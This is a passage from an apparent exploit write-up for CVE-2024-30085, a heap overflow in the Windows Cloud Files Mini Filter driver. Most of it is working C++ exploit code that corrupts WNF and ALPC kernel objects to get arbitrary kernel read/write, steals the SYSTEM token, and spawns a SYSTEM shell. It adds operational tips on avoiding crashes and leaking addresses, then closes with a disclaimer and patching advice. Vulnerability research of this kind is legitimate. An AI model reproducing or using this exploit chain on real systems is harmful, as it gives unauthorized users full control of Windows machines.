createBitmap(bitmap0);
pReparseCldBuffer->Crc32 = RtlComputeCrc32(0, (BYTE*)(&pReparseCldBuffer->Size), ReparseDataBufferLength - 0x14);
Trigger overflow:
trigger(dir, (BYTE*)pReparseDataBuffer, ReparseDataBufferLength);
RemoveDirectoryW(dir);
std::this_thread::sleep_for(std::chrono::seconds(60));
Deleting the dir folder is necessary because if it fails, the system will crash and will crash on subsequent reboots. And the delay is needed to give time for the overflow to occur.
Then the search for the captured _WNF_NAME_INSTANCE object occurs:
INT32 wnfCorruptedNameIndex = WnfFindCorruptedName(portsCount);
if (wnfCorruptedNameIndex == -1) {
printf("[-] Corrupted Wnf are not found\n");
return -1;
}
printf("[+] Found corrupted Wnf at index %d\n", wnfCorruptedNameIndex);
After that we replace the zero handle in the _ALPC_HANDLE_ENTRY table:
BYTE* fakeReserve = AlpcGetFakeMessage();
UINT32 wnfOriginalDataSize = 0xff0;
std::vector<UINT8> corruptAlpc;
UINT32 corruptAlpcSize = wnfOriginalDataSize + 0x8; // overflow one handle ptr
corruptAlpc.reserve(corruptAlpcSize);
memset(corruptAlpc.data(), 'W', wnfOriginalDataSize);
*((BYTE**)(corruptAlpc.data() + wnfOriginalDataSize)) = fakeReserve;
// corrupt Alpc handle
if (!WnfRelativeWrite(wnfCorruptedNameIndex, corruptAlpc.data(), corruptAlpcSize)) {
printf("[-] wnfRelativeWrite failed\n");
return -1;
}
And we apply the Token Stealing technique in the final:
// read system token
BYTE* outputData = (BYTE*)calloc(1, 0x1000);
AlpcArbitraryRead(portsCount, pipeAttributeAddr, systemEPROCaddr, outputData, 0x1000);
ULONG tokenOffset = 0x4b8;
ULONG_PTR systemTtoken = *(ULONG_PTR*)(outputData + tokenOffset);
if (!systemTtoken) {
printf("[-] System TOKEN are not found\n");
return -1;
}
printf("[+] System TOKEN: %p\n", systemTtoken);
ULONG_PTR targetToken = EPROCaddr + tokenOffset;
ULONG_PTR* payload = (ULONG_PTR*)calloc(1, 0x8);
payload[0] = systemTtoken;
// replace target token with system token
BOOL bRetNoMatter = AlpcArbitraryWrite(portsCount, (BYTE*)targetToken, (BYTE*)payload, 0x8); // returns false, but writting actually works
STARTUPINFO StartupInfo = { 0 };
PROCESS_INFORMATION ProcessInformation = { 0 };
BOOL bRet = CreateProcess(
"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartupInfo,
&ProcessInformation
);
if (!bRet) {
printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
return -1;
}
You can leak token addresses using the NtQuerySystemInformation method. Nassim has an example. And the result of a successful exploit looks like this.
Results
By exploiting CVE-2024-30085 in the Windows Cloud Files Mini Filter driver and leveraging the WNF + ALPC technique, we successfully achieved kernel read/write primitives. This allowed us to:
Steal a system token
Spawn a shell with
NT AUTHORITY\SYSTEM
privileges
Important Disclaimer
This article is for educational purposes only and does not constitute a guide or encouragement to engage in illegal activities. Our goal is to:
Raise awareness about existing vulnerabilities that could be exploited by malicious actors.
Warn users about potential risks.
Provide recommendations for protecting personal data online.
The authors are not responsible for any misuse of the information presented here. Always prioritize your cybersecurity—stay vigilant and keep your systems updated.
Key Takeaways
Vulnerability Impact: A heap overflow in
cldflt.sys
can lead to full system compromise.Exploit Chain: Combines memory corruption (WNF) and IPC manipulation (ALPC) for privilege escalation.
Defensive Measures:
Apply Microsoft patches promptly.
Restrict unnecessary kernel-mode driver loading.
Monitor for abnormal process privilege changes